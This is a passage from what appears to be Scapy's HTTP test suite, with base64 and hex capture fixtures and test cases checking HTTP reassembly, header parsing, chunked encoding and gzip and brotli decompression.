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' assert a[29].load == base64.b64decode(wireshark_data) # This a valid JPEG image: try it out # open("image.jpg", "wb").write(a[29].load) = TCPSession - dissect HTTP 1.0 html page with Content_Length ~ http load_layer("http") import os # Packet from # https://community.cisco.com/t5/networking-documents/http-packet-captures/ta-p/3121453 filename = scapy_path("/test/pcaps/http_content_length.pcap") expected_data = b"""Google
A faster way to browse the web



 
  Advanced Search
  Language Tools


Advertising Programs - Business Solutions - About Google

©2010 - Privacy

""" conf.contribs["http"]["auto_compression"] = False a = sniff(offline=filename, session=TCPSession) pkt = a[7] assert HTTP in pkt assert HTTPResponse in pkt assert pkt[HTTP].Content_Length == b'5012' assert len(pkt[Raw].load) == 5012 conf.contribs["http"]["auto_compression"] = True a = sniff(offline=filename, session=TCPSession) pkt = a[7] assert HTTP in pkt assert HTTPResponse in pkt print(pkt[Raw].load, expected_data) assert pkt[Raw].load == expected_data = TCPSession - Invalid Content-Length pkts = [ IP()/TCP(seq=1)/HTTP()/Raw(load=b'GET / HTTP/1.1\r\nContent-Length: bad\r\nCoo'), IP()/TCP(seq=41)/HTTP()/Raw(load=b'kie: cookie\r\n\r\n'), ] a = sniff(offline=pkts, session=TCPSession) assert HTTPRequest in a[0] assert a[0].Cookie == b"cookie" = TCPSession - dissect HTTP 1.0 HEAD response ~ http load_layer("http") a = sniff(offline=scapy_path("/test/pcaps/http_head.pcapng.gz"), session=TCPSession) assert HTTPRequest in a[3] assert a[3].Method == b"HEAD" assert a[3].User_Agent == b'curl/7.88.1' assert HTTPResponse in a[5] assert a[5].Content_Type == b'text/html; charset=UTF-8' assert a[5].Expires == b'Mon, 01 Apr 2024 22:25:38 GMT' assert a[5].Reason_Phrase == b'Moved Permanently' assert a[5].X_Frame_Options == b"SAMEORIGIN" = HTTP build with 'chunked' content type pkt = HTTP()/HTTPResponse(Content_Encoding="chunked", Date=b'Sat, 22 Jun 2024 10:00:00 GMT')/(b"A" * 100) assert bytes(pkt) == b'HTTP/1.1 200 OK\r\nContent-Encoding: chunked\r\nDate: Sat, 22 Jun 2024 10:00:00 GMT\r\n\r\n64\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n0\r\n\r\n' = HTTP decompression (gzip) conf.debug_dissector = True load_layer("http") import os import gzip filename = scapy_path("/test/pcaps/http_compressed.pcap") # First without auto decompression conf.contribs["http"]["auto_compression"] = False pkts = sniff(offline=filename, session=TCPSession) data = b'\x1f\x8b\x08\x00\x00\x00\x00\x00\x02\xffEQ]o\xdb0\x0c\xfc+\x9a\x1f\x92\xa7\x9a\x96?\xe4\xb8\x892`I\x81\r\xe8\xda\xa2p1\xec\xa9P-\xd5\x16*[\x86\xa5\xd8K\x7f\xfd\xa8\x14E\x1f\x8e:R\x07\xf2D\xed\xbe\x1d\xef\x0f\xf5\xdf\x87\x1b\xd2\xf9\xde\x90\x87\xa7\x1f\xb7\xbf\x0e$\xba\x02\xf8\x93\x1d\x00\x8e\xf5\x91\xfc\xac\x7f\xdf\x92\xe5?9\x89QV\x01\x02\x00\x00' pkts[2].show() assert HTTPResponse in pkts[2] assert pkts[2].Expires == b'Mon, 22 Apr 2019 15:23:19 GMT' assert pkts[2].Content_Type == b'text/html; charset=UTF-8' assert pkts[2].load == data # Now with auto decompression conf.contribs["http"]["auto_compression"] = True pkts = sniff(offline=filename, session=TCPSession) pkts[2].show() assert HTTPResponse in pkts[2] assert pkts[2].load == b'' = HTTP decompression (gzip) with retransmission # pcap from GH4340 import io import gzip pcap = gzip.decompress(bytes.fromhex("1f8b080062b92e6602ff9d586bace4e659f6d964d3e5244b93c08f003f3a52b2e96e9573d69799738e376cd8f15ced33f6dc3cbe0954c6f68cc733b6c739e3b9d840d956085445229590902284442fb4db42aab42ab4a04a5c052d95aa52d01209352090b854a8093fd24a9ba0f2bef69973dbed36b0dad1ccb1fd3ddf7b79dee77dfdfdfd5f7cfea3e7880789f5bfef7f9f2036e0fbb56463d8f8f94d8283dff8c96b370a073ff191773ff2d77ff5b90b44052ec4c10de2e643db1ffffd9ffcee537f7aebf5bff9ca9344ebe557aa9f42949be7eebc617f9420ce3d78fe0b1b0f3c706163e3c17388f8bee78f1133ac0c374324881bc4730f7dfb31444354a2f595275f5a7cf82d40bd75f3f13b6f149f4c115f4134407d172292079bc40ea0eddccbc6cbf134b5f1b3676cbc05a86fb71e3d773ef956e6e95bf126f16fe789f47316e5fcab71882897ffe707a16cfd2b41b49a5d3977f580d9d15a96193bc1b0336e1487d586392c6f87a3305797e5d6556a9bbab8599fcea26bb9e76776b2bdf0b767c97cdb9f0e2e6e162d6b10465b95c09ada6ee05ccb39891b3e93b30743af1fc1fdde6c70b0557406012c16a789eb79fdabf96d3277d99afa613f724d6ff06c4eecf2951c456e93cfe65437b0a7cb594e92733bdbd4b339f9c0b561f1d5c23679e5e266691a44f0d7961c87836bb97e187aae0520d3e0ea6a6bb95c6e0da707fed6fcc01ba03903fb7841631038d1e85a2e9f67a9f46a30b070ddb59ce54d6760e7c5cdb1cd30e4deee4e9f64acfcf0ba5169d04268ba6cd22f5e62caf0ffe980de2587ec80b4eddd7cdebcde3b781ac311c7f6ecfaa53c3958f4bdcbf06df667839dfcfbed019a70f9129d7f3f06f952817befaa6031e490b1f3145328e4df7ba950be72e512c33d3d2fecb014651776addd9d3dfa7ab2d0e9b6c3bb2cad6bfcc2666ca6418f48535dba4d5a19f76b7b0eef8f463a1d7946a9e2f2e5bc63f8ab9191449e4e8f167cb948e97265d92c77dc66395ada747bd750a5a919176971dc2625b5478ab2e01b631d7d3a6dd3f576cd9bf7153631b4f694f73ba1c570335df3868626c4262324bcbb74f871d1dd97a3a2452ba4c6744253558666cd8bfab0462c4d76851abb346a5edcea71a1e9c35a786ebf242cac9a32d7686104eb267d8d478cd0709d89c970f877c8d76713939618a34cc1dfc25c57296fbfd419f648a5ab4c94ae1a0b729b12845eb533ec4c3cb1d32b7072afe76add6c4f1d6c6c695c6ca8f610ed467b74bf9a18b24e6a7407a2c34e8caee3caf5906c56d8b05926ddfdeef268ff26c98dac40180d1476696bd214f6069babb1e52e33bb4aab64a049a93fe0b7676adc10fddc2f4dc2266d2c2c5f81ac38d3b52d7cad9af0a54e68d79468bfcbedf6557dca434c2c8a652cdf23755598813db037607527e18096166600f10c14afc990bb42bd13a571ec66180d975f34fc765ef77946572b243f8e8aa61aa1edd3f5b387311db56b4668d614c8db0872d849c0176010e4d3bd6b9f895dc378f32cda6fd6b9915d734ee215815567f728f6d542a8319267971c17e2e7991eebea9ae4e1fd94236e7ecebb9817696e630cc754d1aa0b9e41b189555b85b8ae41ad2cadbadad34a7b0b58b3b6238b25f0a22f93cb66dc095b75291cf8ca02b9a2d3051263bb2fcf26fdeeec605f3bb66fbde7f087dbe736e234df711613e7c4de02f0a77a80f11fcab35d2350e63a729cce3bb8def445cc2f6597bc5d881769034ff90a97624be3ced0500b6313b886dcb1b57688386730e07a07f8d59eee6bc0774621adba42b654d6d568dbb3ab2cac2f9080435ab103f6e075656ee0f59a327a07aaff7caafa6f9f56fd86b656fd97b709c2741179ad259d51b35671815d94984c9866973fd40bae78cae33a075e4fd65ae24ae5912b96f8393f162662592c001b599316a0f23a5045e09d1c9156e0018b8becdd55384a6c5548ec3ab0aacab6654aea41753f6f94c5442c3b8ce45796222d92862bd88d321f62b6ad843a8e724dc9a25c97283d9048cca04671ad1ed531f9a04749e3c94a54db94448b8c347662de236722301fd8e4998181fbb2ed1a2a518f96aa608f2a2d8c5a6f6a318a0bf6c7a9ea545859a9ce5c73cc33624d2f18323731ca1629d578509c65bc9faa4e9b4546997e35c24ad628a9daf30cf8ccdc1e2975bb0ad7d34843902b4ab3dda3aa6007da306e69c7761ba5e5b251ae842d9944565ea2abbc4b8df9ead21dc49d64a82c5d7e3c751bb4e8682501a229b15a89874ee0f927bd3f83120e480e3886de82e6781ca7541c96770b8171fa1ae85fde6dba2c6531fcc2acb1635d5d2e2cec7be329f0548a1bf40aba5175d638798d91dcbe9adf69304a62b9ece1efc36b69cf843a6228cfac4bdeffc90e52dc695036f40ca81d465c588c97a0ee8909bfdb4ea60b85f6e6460db4336665d0614da62c5a2a4765b05f837a875ab293b318bd638ce3f514b7b06925eed123cfac2d17f6b832174b7bbba976a810d75215b59d1c4046a10ee994115d6032f42fdb4fb5cc1bd4b95956e7c2deb0be0226ad604f057e83b6948ac7ebe4c887bee9e96ada4f907d501d3ce880e808751d7a1eea7571caab4a64d53b05788606663927e386381a60806e427fe94df960b53784ded2a79502ecbd97f56432ddd7469633143bec76a06f205f3816fbaace90c01983327d89ecabec9caf19a8513e6a10f4db13fef033de5d65fa897a04fa090c4fd25ea5b0be0dfa66d73ce81fa28b15803dcd50a9a55d9f804ab4c343bcac8f769d631ec49d494b85d8f9d58246c3fd9213d875e04ad79aa19ee38c61aad5e57ec986ea14481378873912e225703bf52906ce50969f9f1eeb69e1647ff3f7bbbadf87fe8c7c356b55d7848a166a7a28b8fa08fc1966fba09dfa2cb5558ed85331a90b941948e0cf6a66c124a5d333f469063d7c7cd8bf9d3335e788f8817c41dd41cfdb73f91274e734b6f63a7fc17eb7e80b9063c3077bc027cb67630dfc33620bf20ff9cb9e8f74d59b09f1243cb1172828eef50e54ff2055fdb74eab7ee7c25af5ffe821821861679b9838e1c5d07dd7d36d890f81392e6a34fee64b1596af189c5c95aa6809767dab540416a5130f4c65e4142bf3b05b91987dd075eca2881300b30388ecc9aae77b55568466cec2a4e40c622edf8c39b61917277a5cbc4473873bc42d575f610da6be6731f180470bcb63819b5690d6c5a9f839aede05be82ee419f75206f890116038f421378abf78a2b716c416de7978d7105ebc3cd66135853e2233dd07106855ae1528e422dae39e674fc2a70a0b70b75b4eed74eabcb150ddfc33a40fd029eb130db8026d4c569e6c364b75d57e68711c6996299cd63c5131db4386a75d10ef085e162e02599cd0ae91ee087e0d97525365dae67a5f319c51ecf19c608ed3c3b5358f89ba626fbc853a83f7cbe2517ff7fdd09fb4a167b9c7521bb6480dad7ae4bf0a280732acc605093b807c62e8db97ab406e65e09f47614db5d2bc4d90ce6e704d64dad006b519c093003e21431541588af02b119f9605b60a55abcc27af6f4385dbb8419796e9746c5d3f770ffc991aea4fa93d555de50c5ccd65afa3bdbafb677b4a7857a039349df6781f98e5b021ec0fdf05e7ea433a36b657a1614d9769d4bdf5f30c68d920dba34d9b5e951881a0333bd6fa8ac8f1a041c088ff25a81ebf0ae00731c62ccc471916c665a0671916626cca7876bee8e475d58e8149bee899a00fab9e4cba40376c4f02e32ccec4b73e1ac754dec16d996cbadb537b06aded2007de54b36031850273ce854fee879818177915a2fc0aab531e6dda52380b6433c987ecdc377137c8ff04c5a9fe27535a9da18df751ce11ed6016a6f6852b3154e4562b99dc7be30d4ec695f5d817f55a8996c76078d3545e0d8c9dc1a3ea808d64f8a9f4e7b4ba9eca439017c9879e15db47bb856217166f775a87da8cda335e9bb6816afa3e7ef15531d67eac379208d29bcefc17bd09ae7c89753bcc2ba3ae45ed287d9086b1a351f9f43653caacb520774a37d72bfe3e916fa07f488d57e175475dd1f2a1cd8097541b1de007a2bfacf4fa496dce553bed909353734cb59abfe973788f47356f5373e1bcf50f5b79e3aadfaea9752d57fe2dcf9fc3f12449b642560b406936edc87a9a671d8e190c142adc70a752b6af9471583f369622624cce82468738fe94c6406dfdfe1e9b48ef2b0425a34e44217bb491b90b27b9207efa91e5c97ed5aa70a33ce349dda21468d3139817c452d0fe7a00e073317be1d1c72c039ad2587fa855c17659e39d1f79d74ff32f4ec388d37d4a480bd3b3210c3cdbbc06fec26a0f4c7e8a0bca9d515562c4d70b60e1083ca7ca9c34c044adc4c2216660612dfdd3bda686c4094d27900e635e06a76aa5212403785560f666098afe71039881a70b7427916238d0ce063364f5493f53b1dc605f4d7c36fcce537878f107b04917eb22c46dffedace9fdcc8cefc6e7f0c4f117fec17ce9c22be8def6ead4737de9c5f270ecf3711e7f469e4099cfced8fa738c1bd706e020efd7582d8d838bf893c79f915fdb97780f88914d1bf1bb17301105fdf7aeade88f7f1f57753c4d5dd88fa73e0eb1ba39f3de9eb6f03f7f1731667e3c5db9f449cc71fbd27ce131b6fdefc2d82589f60e66892cc35f72f6e96fbd100cf22836772742127f60fe00e9dcf51cc359ab996a7733551beb8d91d1c2c0607d772c5b06f8d0657e9edfc7681ce5dee99f3209a5fb9b8a9f40f62b87bfaf0f3f8b8f1f471e8ddc790543e7fcf53c8d3e79bd160155d1d45bef76cce1af50f6683e87a4fae6eede169e57b5eb8909d7c3f70fecfbef5a31fca3d417c43bdf3d01fbcbd3dffe487b9bff32e2f7fe7a7be9afbe36f7ce017ef7cfda5f9c75efcf1e6ab8f7e977ef83bd75efccdeffdedaf7fe2d5c68d5bc27f773f4fccbff6a12b2ffcfbfcab46e195debbcd7f78fc8b9ff9af2fffc86bbf97ffc0affcf42fc7413ffac3e056d278f89b2f49d35ffa4fe537aa7ffe730f73af7df07bcf5cdebdfd6b7f49bcf4c17f79cf67e4e1e0574f24eb3e49ff549af4c5e964bd60a5c97a6ce3cde1ebc40fc43971dc7ef9f6ad1467fec371d8d123f73b648fd243f64f9f164ffd39c0b261647e70f8cf19ca9de0be28f314e5d63d511e03947fca50fee323f7f5e9d3a94fd1199f6c40fa192cfee177d0a7ff055f2af0bdf5180000")) pkts = sniff(offline=io.BytesIO(pcap), session=TCPSession) assert HTTPRequest in pkts[3] assert pkts[3].Method == b"POST" assert len(pkts[3].load) == 4491 assert HTTPResponse in pkts[8] assert pkts[8].Http_Version == b'HTTP/1.1' assert len(pkts[8].load) == 134 = HTTP decompression (brotli) ~ brotli conf.debug_dissector = True load_layer("http") import os import brotli filename = scapy_path("/test/pcaps/http_compressed-brotli.pcap") # First without auto decompression conf.contribs["http"]["auto_compression"] = False pkts = sniff(offline=filename, session=TCPSession) data = 